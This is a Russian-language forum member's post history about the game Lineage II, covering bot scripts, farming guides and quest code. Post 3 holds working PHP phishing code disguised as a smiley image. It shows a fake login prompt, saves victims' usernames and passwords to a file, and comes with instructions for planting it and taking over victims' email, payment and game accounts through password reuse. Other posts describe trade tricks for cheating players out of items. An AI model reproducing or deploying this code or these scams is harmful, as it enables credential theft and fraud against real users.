Jump to content

SokQ

Members
  • Posts

    58
  • Credits

  • Joined

  • Last visited

  • Feedback

    0%

Everything posted by SokQ

  1. Программа La2Error предназначена для помощи игроку в выявлении ошибок и их устранению в игре Lineage II. Подойдет как новичку, так и опытному пользователю. http://depositfiles.com/files/187ld83ru В данной программе собраны многие ошибки возникающие при запуске игры ,ошибки рассартированы по категориям , к каждой ошибке есть описание и её решение.Всё что требуется от пользователя , выбрать категорию и найти возникшую проблему.
  2. на некоторых серверах не пропадает
  3. ДОБАВЛЮ : сайты можно и с юкоза, но я регал на www.holm.ru Вот не помню где нашел, классная штука.. Вот описание : Суть угона заключается в простом смайлике, который запрашивает авторизацию, вы регистрируетесь на форуме, ставите себе в подпись, или можете кому то в лс отправить его, или в сообщение добавить [ img ]ссылка на смайл[ /img ] вот и все, как только человек увидит этот смайл, у него выскакивает такая табличка http://i080.radikal.ru/0911/10/65895eb3f9d8.jpg Сверху пишет сайт на котором у вас этот смайл,( потому и рекомендую делать его в типе : login или похожу что то на сайт того форума где разводите ) внизу то что вы уже сами можете написать ,мне нужно было для пульса, я написал pulseworld.ru , это вы можете редактировать в самом скрипте.. Ниже в теме все описано что для этого нужно редактировать собственно это и есть окно авторизации, для того что бы такое прокатило, вам нужно зарегистрировать сайт, с ФТП , я зарегал на h16.ru , но можете и на Ucoz'е, лудше всего регать , как я увидел на своем опыте, сайт примерно такой : login-сайт вашего сервера или что то такое, например : login-zhyk.h16.ru , ну или что то в этом роде , круче придумаете , будет больше шанс развести кого то.. заливаете файлы с архива, на свой сайт, точней на ФТП, вам нужно залить все файлы, и .htaccess , не знаю как у вас но у меня через тотал и через файрзиллу не лило, пришлось качать ФТП Commander. сама суть развода заключается вот в чем: вы кидаете смайл, который запрашивает авторизацию, т.к. это не смайл а PHP скрипт.. я сам в этом не очень конечно разбираюсь но стараюсь на нормальном языке рассказать.. как понял сам. Это код скрипта, тут все описано, в зависимости где хотите разводить , надо менять скрипт , то есть эту строчку : "Header('WWW-Authenticate: Basic realm="pulseworld.ru"');" я например просто ради прикола хотел потестить работает ли оно на самом деле, оказалось работает.. на ФТП моего сайта мне в файле passwords.txt в него мне записывали пароли тех кто авторизовался в моем смайле... каждый акк и пасс в новом рядке. код <? //делаем скрипт картинкой header("Content-type: image/gif"); //делаем изображение смайликом из архива $image = imagecreatefromgif('mellow.gif'); if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 4-ёх символов и вообще написан логин if(strlen($pass) <= 4 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="Авторизуйтесь Пожалуйста"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } imagegif($image); imagedestroy($image); ?> Это конечно круто, но зачем нам какой то акк от форума, какое он даст нам преимущество.., а вот какое: Вот мы уже знаем АКК и пасс ,человека которого развели, пусть для примера это будет .. Акк : qip пасс: piq ну попадется на развод много народу , нам нужно выбрать того, у кого на ваш взгляд - может быть Какой то нормальный шмот, или пушка или еще какие то преимущества , что бы не делать всего этого зря. На форуме заходим в вкладку изменить эмейл, там видим, пишет: Ваш текущий эмейл например будет : qip@mail.ru , в большинстве случаев пароль от форума соответствует паролю от эмейла в 80-90% случаях.. С эмейла нам тоже ничего не взять,"но" на эмейле может быть регистрации с других серверов, и в них пароли и аккаунты от сервера, например регистрируемся на ла2 ворлд, и тебе на эмейл приходит сообщение, "Поздравляем с успешной регистрацией, ваш аккаунт такой то , и пароль такой то" Так можно найти много хорошего, даже те же пароли от Веб мани, или что то в этом роде.. и даже тот же контакт, в котором могут быть голоса, Вот и сама ссылка на файл, в архиве есть видео мануал, и еще файл блокнота _http://depositfiles.com/ru/files/s3nvp0ieh?redirect в котором есть описание автора, этой проделки, но описание на этом форуме ,Описание делал сам,мой мануал с тем что в архиве не имеет ничего общего, (оттуда ничего не копировал), мануал писал я сам . вот мой смайл, можете вводить авторизацию любые слова, и у вас покажет смайл, можете нажать отменить и все одно увидите, но при разводе народ вводит свой акк потому что думают - что это окно авторизации для форума _http://login-vh.h16.ru/1/smile.gif вот отчет с вирус тотала Файл basic-auth_vs_forums.rar получен 2009.11.11 18:14:59 (UTC) Антивирус Версия Обновление Результат a-squared 4.5.0.41 2009.11.11 - AhnLab-V3 5.0.0.2 2009.11.11 - Antiy-AVL 2.0.3.7 2009.11.11 - Authentium 5.2.0.5 2009.11.11 - Avast 4.8.1351.0 2009.11.11 - AVG 8.5.0.423 2009.11.11 - BitDefender 7.2 2009.11.11 - CAT-QuickHeal 10.00 2009.11.11 - ClamAV 0.94.1 2009.11.11 - Comodo 2919 2009.11.11 - DrWeb 5.0.0.12182 2009.11.11 - eSafe 7.0.17.0 2009.11.11 - eTrust-Vet 35.1.7115 2009.11.11 - F-Prot 4.5.1.85 2009.11.11 - F-Secure 9.0.15370.0 2009.11.09 - Fortinet 3.120.0.0 2009.11.11 - GData 19 2009.11.11 - Ikarus T3.1.1.74.0 2009.11.11 - K7AntiVirus 7.10.893 2009.11.10 - Kaspersky 7.0.0.125 2009.11.11 - McAfee 5799 2009.11.11 - McAfee+Artemis 5799 2009.11.11 - McAfee-GW-Edition 6.8.5 2009.11.11 - Microsoft 1.5202 2009.11.11 - NOD32 4596 2009.11.11 - Norman 6.03.02 2009.11.10 - nProtect 2009.1.8.0 2009.11.11 - Panda 10.0.2.2 2009.11.11 - PCTools 7.0.3.5 2009.11.11 - Rising 22.21.02.09 2009.11.11 - Sophos 4.47.0 2009.11.11 - Sunbelt 3.2.1858.2 2009.11.11 - Symantec 1.4.4.12 2009.11.11 - TheHacker 6.5.0.2.065 2009.11.11 - TrendMicro 9.0.0.1003 2009.11.11 - VBA32 3.12.10.11 2009.11.10 suspected of RAR.MailBomb ViRobot 2009.11.11.2031 2009.11.11 - VirusBuster 4.6.5.0 2009.11.10 - Дополнительная информация File size: 5646562 bytes MD5...: 6dbbd5dc19eaeb1e5069adcca4ea69a6 SHA1..: 60440cbe0e4592c27fbc79053bed053aca404c0d SHA256: 166162f12a7d09dda1935243b1936df6290c5c0af2abf6e55545e78ced7fe483 ssdeep: 98304:Bieh9wG2pr3/y35tgghFZAeyXjOul1FHKgDZ1DQQpFBxRS4QCp5SdSoWOf<br>SlYU/8:BiO923/a5zZvcHKkzDQQp28inrAv/YUq<br> PEiD..: - PEInfo: - RDS...: NSRL Reference Data Set<br>- pdfid.: -
  4. =======================Конец========================
  5. ну да баны приходят быстро можно через моунт кординаты еще ставить
  6. пакетами работает на кривых зборках
  7. // авто-gracia_final +1. // хроники Грация ФИНАЛ // Соцдействие ДА открыть управление скриптом // в пати чат пишем уровень заточки // можно менять в процесе работы скрипта // заточить один предмет чтоб запомнить чем и что точить // дальше скрипт сам точит до указаного уровня заточки // все предметы ОДИНАКОВЫЕ с ПЕРВЫМ заточеным // предметы точатся добавляя по +1 на предмет // т.е если у вас предметы с одинаковым уровнем заточки например 0 // будет точится первый предмет до +1, потом второй до +1 и т.д // если предмет при заточки блесс скрол слетел на 0 или на уровень как у вас на сервере // то будет точиться он пока несравняется с остальными // и т.д // пока недостигнете заданого уровня заточки // если предметов более 1 то один остается // АВТОР ==>>>> TAMBIK program Enchant_gracia; const //=========================================== myname='TAMBIK'; //<<== пишем свой НИК max=80;//<<== колличество ячеек в рюкзаке //=========================================== HTML='<html><body><center>'+ '<img src="L2UI_CH3.herotower_deco width=256 height=32>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<font color="04fbfb">Cкрипт автозаточка для gracia_final</font><br>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<img src="L2UI.Squarewidth" width=260 height=1>'+ '<font color="04fbfb">системные сообщения</font><br>'+ '<button value="в к л" action="bypass -3" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<button value=" в ы к л " action="bypass -4" width=80 height=15 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<img src="L2UI.Squarewidth" width=260 height=4>'+ '<font color="04fbfb">АВТОЗАТОЧКА</font><br>'+ '<font color="04fbfb"> </font><br>'+ '<button value="П У С К" action="bypass -pusk" width=100 height=15 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<button value="С Т О П" action="bypass -stop" width=100 height=20 back="sek.cbui94" fore="sek.cbui92">'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="04fbfb"> </font><br>'+ '<img src="L2UI.SquareWhite" width=260 height=1>'+ '<img src="L2UI.Squarewidth" width=260 height=4>'+ '<img src="L2UI.SquareWhite" width=60 height=1>'+ '<img src="L2UI.Squarewidth" width=60 height=4>'+ '<font color="LEVEL">Автор TAMBIK</font><br>'+ '</center></body></html>'; //========================================== var BaseItems:array[1..max,1..11] of integer; Baselvl:array[0..max] of integer; Timer01: TTimer; Timer02: TTimer; Timer03: TTimer; mytext:string; Bypass:string; autostart,start,autoMsg:Boolean; flag : Boolean; t,l,d,x,y,ii,i:integer; ListSize,ItemEnch:word; textID,itemID:integer; enchantObjectID:integer; enchantID,skrolObjectID:integer; ItemOID,objectOID:integer; sumskrol,sumitemID,sumitem:integer; maxlvl,minlvl,enchlvl,selectlvl:integer; skrolID,skrolObj:integer; minEnchitem:integer; object,index : integer; //========================================== // ShowHTML(HTML); Procedure ShowHTML( _html : string ); begin buf:=#$19; WriteD(5); WriteS(_HTML); SendToClientEx(myname); end; //======================== procedure ActionUse; begin Bypass:=ReadS(2); case Bypass of '-3':begin autoMsg:=true; end; '-4':begin autoMsg:=false; end; '-pusk':begin if (autostart=false) then SendMsg2( 'предмет незаточен или пакеты неприняты !' ); if (maxlvl=0) then SendMsg2( ' Неуказан Уровень Заточки !' ); SendMsg2( '_______________________________' ); if autostart and (maxlvl>0) then begin buf:=hstr('14'); SendToServerEx(myname); SendMsg2( ' ! ! ! П О Е Х А Л И ! ! !' ); SendMsg2( '_______________________________' ); start:=true; Timer01.enabled:=true;// вкл таймер выбора свитка end; end; '-stop':begin deleteBase; start:=false; enchantID:=0; ItemEnch:=0; minlvl:=0; sumitem:=0; Timer01.enabled:=false; Timer02.enabled:=false; Timer03.enabled:=false; SendMsg2( ' ! ! ! С Т О П ! ! ! ' ); stopselectskrol; index :=0; for ii:=1 to max do Baselvl[ii]:=-1; end; end; end; //=========================================== procedure SendMsg2(msg:string); begin buf:=#$4A; WriteD(0); WriteD(3); WriteS(''); WriteS(msg); SendToClientEx(myname); end; //=========================================== procedure Resultmaxlvl; var i:integer; begin i:=2; mytext:=ReadS(i); textID:=ReadD(i); if (textID=3) then begin maxlvl:=StrToInt(mytext); SendMsg2( ' установлен Уровень Заточки: '+IntToStr(maxlvl)+'' ); end; end; //.............................................................................. procedure ItemList; var i, j, k: integer; count,x:integer; begin count:=0; x:=0; y:=0; j:=4; //пропускаем дo ListSize ListSize:=ReadH(j); count:=round((Length(pck)-5) / ListSize);// длина блока for i:=1 to ListSize do if (i<=ListSize) then begin BaseItems[i,1]:=ReadH(j); //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке BaseItems[i,2]:=ReadD(j); //ObjectID BaseItems[i,3]:=ReadD(j); //ItemID BaseItems[i,4]:=ReadD(j); //LocationSlot BaseItems[i,5]:=ReadD(j); // Amount: BaseItems[i,6]:=ReadD(j); // Amount: BaseItems[i,7]:=ReadH(j);//ItemType2 BaseItems[i,8]:=ReadH(j);// CustomType1 BaseItems[i,9]:=ReadH(j);//isEquipped: BaseItems[i,10]:=ReadD(j);//BodyPart BaseItems[i,11]:=ReadH(j);//EnchantLevel inc(x); // счетчик //y := пропускаем до следущего блока y:=count*x-(j-6);// . 6= длина ListSize + 4 байта пропуска в начале пакета inc(j,y); end else for k:=1 to 11 do BaseItems[i,k]:=0; // забиваем нулями addenchantitemID; if (skrolID>0) then begin sumskrol:=Getitem(skrolID,3,5);//считаем SKROL if autoMsg then SendMsg2 (' SKROL ... c ID : '+IntToStr(skrolID)+' = '+IntToStr(sumskrol)+' ШТ '); if start and (0<sumskrol) then Timer01.enabled:=true;// вкл таймер выбора свитка if (sumskrol=0) then begin SendMsg2 ('........ НЕДОСТАТОЧНО SKROL........ '); SendMsg2 ('___ О С Т А Н О В Л Е Н О ___ '); start:=false; end; end; end; //============================= procedure EnchantResult; begin deleteBase; index :=0; for ii:=1 to max do Baselvl[ii]:=-1; end; //============================= procedure deleteBase; var i,j,k:integer; begin for i:=1 to max do BaseItems[i,1]:=0; BaseItems[i,2]:=0; //ObjectID BaseItems[i,3]:=0; //ItemID BaseItems[i,4]:=0; BaseItems[i,5]:=0; BaseItems[i,6]:=0; BaseItems[i,7]:=0; BaseItems[i,8]:=0; BaseItems[i,9]:=0; BaseItems[i,10]:=0; BaseItems[i,11]:=0; inc(j,y); end; //=========================== function Getitem(Obj,up,down:integer): integer; var i: integer; begin Result:= 0; //В начале у нас 0 for i:=1 to max do if (BaseItems[i,up]=Obj) then begin Result:=BaseItems[i,down]; end; end; //=========================== function Getsumitem(Obj,up,down:integer): integer; var i: integer; begin Result:= 0; //В начале у нас 0 for i:=1 to max do if (BaseItems[i,up]=Obj) then begin Result:=Result+BaseItems[i,down]; end; end; //============================= // добавляем в базу ЛВЛ заточки procedure addenchantitemID; begin for i:=1 to max do if (BaseItems[i,3] = ItemOID) then begin enchlvl:=BaseItems[i,11]; flag:=false; for ii:=1 to max do if (Baselvl[ii] = enchlvl) then begin // текущий уже есть в массиве, flag := true; BREAK; { прекращаем цикл } end; if (flag = false) then begin for ii:=1 to max do if (Baselvl[ii]=-1) then begin // добавим в массив, Baselvl[ii]:=enchlvl; index :=ii; BREAK; { прекращаем цикл } end; end; end; end; //========================== procedure ChooseInventory; var OID, lvl:integer; begin if (ItemOID>0) and start then begin sumitemID:=0; sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки minlvl:=Baselvl[1]; for ii:=2 to index do if Baselvl[ii] < minlvl then minlvl:=Baselvl[ii];// мин заточка objectOID:=0; if (sumitemID > sumitem) then objectOID:=GetObjectID(ItemOID);//находим по ItemID предмет с ObjectID if (objectOID = 0) then begin start:=false; SendMsg2('Больше предметов c ID : '+IntToStr(ItemOID)+' для заточки НЕТ ! ! ! ! '); lvl:=0; for i:=1 to max do if (BaseItems[i,3] = ItemOID) then begin OID:=BaseItems[i,2]; lvl:=BaseItems[i,11]; SendMsg2('Предмет c ID : '+IntToStr(ItemOID)+' с ObjectID : '+IntToStr(OID)+' заточен до : '+IntToStr(lvl)+' '); end; end; end; end; //========================= //находим enchantID предмета по ItemID для заточки function GetObjectID(ItemOID:integer) : integer; var ID,i:integer; begin enchantID:= 0; ItemEnch:=0; Result:= 0; if autoMsg then SendMsg2( '*******************************************' ); if (ItemOID>0) then begin if autoMsg then SendMsg2 (' ищем ObjectID предмета с ID : ' +IntToStr(ItemOID)+' '); if autoMsg then SendMsg2('------------------------------' ); for i:=1 to max do if (BaseItems[i,3] = ItemOID) and (BaseItems[i,11] = minlvl) and (BaseItems[i,11] < maxlvl) then begin enchantID:=BaseItems[i,2]; Result:=BaseItems[i,2]; ItemEnch:=BaseItems[i,11]; if autoMsg then SendMsg2(' ..... найден предмет для заточки ..... '); if autoMsg then SendMsg2(' ID : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+' заточен до : '+IntToStr(ItemEnch)+''); if autoMsg then SendMsg2('------------------------------' ); if (enchantID>0) then Timer02.enabled:=true; Break; // прерываем дальнейший перебор массива. end; end; end; //========================== procedure stopselectskrol; begin buf:=hstr('D04E00'); SendToServerEx(myname); end; //=================================== procedure OnTimer01(Sender: TObject); begin buf:=#$19; WriteD(skrolObjectID); WriteD(0); SendToServerEx(myname); Timer01.enabled:=false; end; //-------------------------- procedure OnTimer02(Sender: TObject); begin buf:=hstr('D04C00'); WriteD(enchantID); SendToServerEx(myname); Timer02.enabled:=false; Timer03.enabled:=true; end; procedure OnTimer03(Sender: TObject); begin buf:=#$5F; WriteD(enchantID); WriteD(0); SendToServerEx(myname); Timer03.enabled:=false; if autoMsg then SendMsg2(' ..... Точим Предмет ..... '); if autoMsg then SendMsg2( ' ID : '+IntToStr(ItemOID)+' и ObjectID : '+IntToStr(enchantID)+' - до : '+IntToStr(maxlvl)+'' ); if autoMsg then SendMsg2( '_______________________________' ); end; //----------------------------------------- procedure Init; begin minlvl:=0; maxlvl:=0; enchlvl:=0; ItemEnch:=0; sumskrol:=0; sumitem:=0; sumitemID:=0; objectOID:=0; object:=0; enchantObjectID:=0; enchantID:=0; skrolObjectID:=0; skrolID:=0; itemID:=0; ItemOID:=0; t:=0;l:=0;d:=0;index :=0; flag:=false; autostart:=false; start:=false; autoMsg:=true; Timer01:=TTimer.Create(nil); Timer01.OnTimer:=@OnTimer01; Timer01.enabled:=false; Timer01.interval:=400; //<<== время выбора свитка Timer02:=TTimer.Create(nil); Timer02.OnTimer:=@OnTimer02; Timer02.enabled:=false; Timer02.interval:=400; //<<== время выбора предмета Timer03:=TTimer.Create(nil); Timer03.OnTimer:=@OnTimer03; Timer03.enabled:=false; Timer03.interval:=4500; //<<== время между заточкой SendMsg2( ' в пати чат пишем уровень заточки' ); SendMsg2( ' заточить предмет ! !' ); SendMsg2( ' Соцдействие ДА - откр окно управления ' ); SendMsg2( '------------------------------------- ' ); buf:=hstr('14'); SendToServerEx(myname); for ii:=1 to max do Baselvl[ii]:=-1; end; procedure Free; begin Timer01.free; Timer02.free; Timer03.free; end; //========================= begin //не обрабатываем пустые пакеты if pck='' then exit; if FromServer and (pck[1]=#$87) then EnchantResult; if FromServer and (pck[1]=#$11) then ItemList; if FromServer and (pck[1]=#$7C) then ChooseInventory; if FromClient and (pck[1]=#$49) then begin Resultmaxlvl;pck:='';exit;end; // if FromClient and (pck[1]=#$56) and (ReadD(2)=24) then begin ShowHTML(HTML); pck:='';exit; end; if FromClient and (pck[1]=#$23) then begin ActionUse; pck:='';exit;end; // begin if (start=false) and FromClient then case pck[1] of #$19:begin stopselectskrol; buf:=hstr('14'); SendToServerEx(myname); t:=1; skrolObjectID:=ReadD(2); skrolID:= Getitem(skrolObjectID,2,3);//находим по ObjectID скрол с ItemID SendMsg2(' .................' ); SendMsg2(' активирован SKROL ID : '+IntToStr(skrolID)+' ' ); SendMsg2(' .................' ); end; #$D0:if ReadH(2)=76 then begin l:=1; SendMsg2(' окно выбора предмета ' ); SendMsg2(' .................' ); end; #$5F:begin d:=1; enchantObjectID:=ReadD(2); if (t=1) and (l=1) and (d=1) then begin autostart:=true; ItemOID:= Getitem(enchantObjectID,2,3);//находим по ObjectID предмет с ItemID SendMsg2 (' ID предмета : '+IntToStr(ItemOID)+' для заточки'); sumitemID:=0; sumitem:=0; sumitemID:=Getsumitem(ItemOID,3,5); // считаем предметы для заточки SendMsg2 (' Предметов для заточки с ID : '+IntToStr(ItemOID)+' = '+IntToStr(sumitemID)+' ШТ '); if (sumitemID > 1) then sumitem:=1; stopselectskrol; end; end; end; end; end.
  8. Добился на руофе всего чего хотел, игра потеряла всякий смысл, по этому решил создать данный топ для нубов, ну или для тех кто не до конца понял сколько может приносить бот. Скрипты: http://depositfiles.com/en/files/5syqvledp 1-21_scav - гном 1-21 + профа на собирателя, начало на месте появления. с 21. dion_kosti кач/спойл у диона лвла на глазах (различие в загруженном сете, default сделан для кача, т.е. бот бьет всех мобов, spoil - на спойл, бот бьет только нужных.) с 28. giran_breka_leather - кач/спойл в укреплениях бреки (гиран тп) как альтернатива бреке есть 2 скрипта на кач/спойл под шутгартов, там спойлится МО, Ори Оре, Сталь, и Замша. с 36 giran_hardin_varnish. кач/спойл в академии хардина (гиран тп) с 40 hw_kosti-skin. кач/спойл под хв (на чаре должно быть 40-50к т.к. ребаф в орене) с 48. oren_les/shut_golem. кач/спойл в лесу (орен тп), либо в заброшенной мастерской под шутгартом. 8. крафт ССД в вх диона 9. крафт ССА в вх адена И так,поехали: Скрипты на крафт СС автоматизированы, встаете рядом с вх, загружаете нужный сет и запускаете скрипт, гном сам будет проверять наличие кри и оре, брать их из вх и выкладывать СС после 30к. В скрипте на крафт ССА так же есть ребаф вышевки, который ускоряет реген мп при одетой робе. Немалую часть кри на ССД вы будете получать с дропа коммон вещей, особенно много падает в бреке. Во всех скриптах есть ежечасный ребаф (на ночь нужно ~15 сое) и проверка на смерть, до академии хардина можно качаться без СС, но как показала полугодовая практика - СС снижает вероятность бана раза в 2-3. DELAY во всех скриптах рассчитан на 8 окон на моем компе, так что тут возможно придется подогнать под себя. Банок хп будет достаточно тех, что получите после скрипта 1-21+ профа, так же в бреке спойлятся банки побольше. Теперь о цифрах: После скрипта 1-21 + профа и продажи всего вам хватит на коммон тод-д, за ночь на втором скрипте 1 гном приносит ~600-800 костей, в зависимости от кол-ва народу на локации. По достижении 28 лвл идем в бреку, там за ночь набирается 200 с мелочью лизеров (кожа). После варнишь в академии, но он меня не интересовал, просто качаться было негде, по-этому не знаю сколько его получается. На 40, со второй профой и в топ-ц коммоне, либо докачиваемся до 43 в академии, либо валим в хв, там мобы 43+, по этому спойл без скила на 43 будет ****овым, но вот после 43 варсмит+бх за ночь приносили по 500-700 костей и шкурок. Далее в лес, им я тоже не заморачивался особо, потому как понял где настоящие деньги. Так вы сколотите стартовый капитал. Это достаточно простой набор, не самый выгодный, но стабильный и конвеерный, 4 окна фармят ожидая бана, еще 2 в это время профу делают еще 2 продают все. Проблемы начинаются когда вы сидить с 20к шкур и костей и не знаете что с ними делать, т.к. в таких масштабах покупку сотни-двух просто за сделку не счетаете. Теперь берем все те же самые скрипты и качаем 4 крафтеров, нам нужен 55ый лвл, не больше, не меньше, покупаем рецы ССА. При сегодняшних ценах на кадмусе, скупка А кри идет по 10к, оре в гиране по 312а, таким образом получаем цену одной соски в 71а, при том что на рынке, с ценой в 104-103а вас унесут вместе с пачкой ССА которая у вас в инвентаре, для наглядности: Есть у вас 10.616.000а, вы рассчитываете кол-во кри и оре на всю сумму, получается что-то в районе 500 кри и 18к оре, получается 150к ССА, умножаем 150к на 103а за каждую и получаем 15кк с чем-то там. К слову, 150к ССА спокойно расходятся за сутки в годдарте при общепринятой цене, снизите на 1а - быстрее купят, снизите на 2а - снесут. Невероятно огромным плюсом подобного заработка является факт того что вам не нужно ждать бана, крафтер сидит у вх и все, вы переодически прибегаете твинками, загружаетесь и снова на трейд. Если кому-то прирост в 5кк кажется неубедительным аргументом: из 127кк получается 180 (тут получается ~1.5кк ССА, за 4-5 дней уходят) из 180кк получается 250 или 260, не помню уже вобщем прогрессия нормальная. Так же могу посоветовать не ждать пока у вас купят все СС, скупили часть - посадили окно на скупку кри, купили нужное кол-во, побежали купили оре и сунули все это крафтеру.
  9. Вообщем эта тема актуальна для серваков с фулл бафферами: выбираем себе в жертву РБ (желательно без охраны), далее заходим валкероми двумя танками, соответственно настаиваем банки маны и, самое главное, ставим расстояние следования за вами 200+, расставляем танков с 2х сторон от рб и пишем скриптег, от которого нам требуется label(start) Useskill( "тут айди и название скилла агра") delay(2000) // настраиваем в зависимости от скорости передвижения РБ jmp(start) также можем в скрипт включить проверку маны теперь делаем следующее, кто-то из магов должен быть на готове немного похилить танка, на ктором вы первом запускаете скрипт (не забываем про УД) потом с интервалом в 1 секнду (опять же зависит от рб) запускаем скрипты на валкерах: результат вас порадует =)) РБ будет носится от одного танка к другому не успевая нанести урон , тем самым маги могут спокойно бить его под КДЛ, на основании этого можно валить и с охраной рб, тока не забываем такнка также на каст бафать и в скрипт мы прописываем таргеты охраны и рб , иначе могут и на магов сорваться . PS: по аналогии видел как рб клали в 2ем: танк+маг конечно они все переточенные были в ы грейде под фулом и наверняка с эпик бижей: делали они так: танк агрит и убегает , маг пинает - переагривая тем самым на себя когда РБ был близко к магу, танк сонва его агрил и так по кругу - тут главное четкая слаженность - ботами так не выйдет, к тому же пинали они этого РБ минут 30 =)) interlude
  10. Дано: ы меч +10, ы блессед випон точка. Требуется: безопасно заточить (в данном случае безопасно - как страховка, в случае неудачи компенсируется стоимость потерянного имущества). Решение: выставляем нашу ы точку на быструю панель. продаем наш меч (кидаем его в трейд, ждем пока чел кинет нам деньги/колы/фа итд равноценно мечу и подтвердит). Когда чел подтверждает, быстро точим этот ссамый меч. а теперь внимание! в случае успеха мы имеем меч уже +11 и шлем чела в сад. в случае неудачи быстро жмем окей и получаем эквивалент нашему мечу +10. а почему? потому что если наш меч станет +0 в трейде он по прежнему отображается как +10! и даже шифт+клик на нем отобразит наш +10. Имеем: страховку заточки. Баг работает на Gracia part 2. Говорят работает на: la2antidonat.com/ waterlights.ru/ rpg-club.com/ этот баг работал и работает на интерлюде! Правда веселее точить не блесками, а простыми, тогда чел получал кристалы, хотя в трейде видно точеную пушку.
  11. Загрузите 2-х персов. Найдите жертву для обмена вещами.(можете потестить и в 3 окна) 1.Вы предложили жертве обмен (например пуху Д на пуху Ц) 2.Вы кидаете жертве трейд, показываете ему пуху,потом отменяете трейд. 3.Кидаете трейд своему второму персу. Confirm(принять) не жмем, а жмем ALT+H ! 4.Ждем какое то время и основным персом кидаем трейд жертве. 5.Жертва принимает трейд, вы кидаете свою пуху, жертва-свою. 6.В это время быстренько переключаемся на второго перса, жмем ALT+H, и принимаем трейд. 7. основным персом соглашаемся на трейд. Обе пухи у вас в инвентаре. мануал: http://rapidshare.com/files/22566197...y_fakoykas.rar
  12. Название квеста: Seductive Whispers Выполнять обязательно группой Можно повторно взять квест Расы: Все Классы: Все Требуемый левел: 50 Где брать квест: Town of Aden У кого брать квест: Blacksmith Wilbert Награда: Adena, или armor/weapon scrolls, или 60% B weapon receipes Описание: Кузнец Вилберт желает играть с вами в новую модную игру, но говорит, что для игры вам понадобятся бусинки. Вам нужно раздобыть их, чтобы начать играть. 1. Поговорите с Blacksmith Wilbert в кузнице Адена и возьмите задание. 2. Выбивайте итемы в Cemetry, Ancient Battleground, Fields of Massacre. Для одной игры нужно собрать 50 Spirit Beads. 3. Накопив минимум 50 бусин, вернитсь к Blacksmith Wilbert, чтобы играть. Правила игры: Когда вы скажете гному, что хотите играть с ним, просто кликайте по ссылке, чтобы тянуть карту, до тех пор, пока он не скажет вам, выиграли вы или проиграли. Если вы проиграли, то не получите ничего. Если выиграете, то можете или взять награду, или продолжить тянуть карты. Если вы отказывайтесь от предложенной награды и продолжите играть, то награда увеличивается. Вы можете попытать счастья получить более ценный приз, но, если в этом случае проиграете, то не получите ни его, ни то, что гном предлагал ранее. Награда: 1 выигрышный раунд - 40,000а 2 выигрышных раунда - 80,000а 3 выигрышных раунда - 110,000а, EWD 4 выигрышных раунда - 199,000а, EWC 5 выигрышных раундов - 388,000а, 60% рецепт на B-grade weapon 6 выигрышных раундов - 675,000а, 1 кусок на B-grade weapon 7 выигрышных раундов - 1,284,000а, 2 EWB, 2 EAB 8 выигрышных раундов - 2,384,000а, 1 EWA, 2 EAA Сам скрипт # by minlexx import sys from net.sf.l2j.gameserver.model.quest import State from net.sf.l2j.gameserver.model.quest import QuestState from net.sf.l2j.gameserver.model.quest.jython import QuestJython as JQuest qn = "663_SeductiveWhispers" # Npc WILBERT = 30846 MOBS = [20674, 20678, 20954, 20955, 20956, 20957, 20958, 20959, 20960, 20961, 20962, 20974, 20975, 20976, 20996, 20997, 20998, 20999, 21001, 21002, 21006, 21007, 21008, 21009, 21010] # Quest Item SPIRIT_BEAD = 8766 # Drop chance, win chance need check for correct values DROP_CHANCE = 80 WIN_ROUND_CHANCE = 66 # Reward items ADENA = 57 EWA = 729 # Scroll: Enchant Weapon A EAA = 730 # Scroll: Enchant Armor A EWB = 947 # Scroll: Enchant Weapon B EAB = 948 # Scroll: Enchant Armor B EWC = 951 # Scroll: Enchant Weapon C EWD = 955 # Scroll: Enchant Weapon D # ====== Rewards - B grade 60% weapon recipes & keymats ========= # These are just most popular B weapons, need retail check here # Blunts: Art of Battle Axe, Staff of Evil Spirits (2) # Bows: Bow of Peril (1) # Daggers: Demon Dagger, Kris (2) # Fists: Bellion Cestus (1) # Polearms: Lance (1) # Swords: Great Sword, Keshanberk, Sword of Valhalla (3) # ====== Total: 10; In that order they come in a set below: ====== B_RECIPES = [4963, 4966, 4967, 4968, 5001, 5003, 5004, 5005, 5006, 5007] B_KEYMATS = [4101, 4107, 4108, 4109, 4115, 4117, 4118, 4119, 4120, 4121] class Quest (JQuest) : def __init__(self,id,name,descr): JQuest.__init__(self,id,name,descr) self.questItemIds = [] def onEvent (self,event,st) : htmltext = event if event == "Wilbert_IWantToPlay.htm": # quest accepted st.setState(State.STARTED) st.playSound("ItemSound.quest_accept") st.set("cond","1") st.set("round","0") elif event == "Wilbert_ExitQuest.htm": # quest finished st.playSound("ItemSound.quest_finish") st.exitQuest(1) elif event == "Wilbert_IWantToPractice.htm": # practice start dialog beads=st.getQuestItemsCount(SPIRIT_BEAD) if beads<1: htmltext = "Wilbert_Practice_NotEnoughBeads.htm" elif event == "Wilbert_Practice.htm": # "try luck" pressed (Practice) 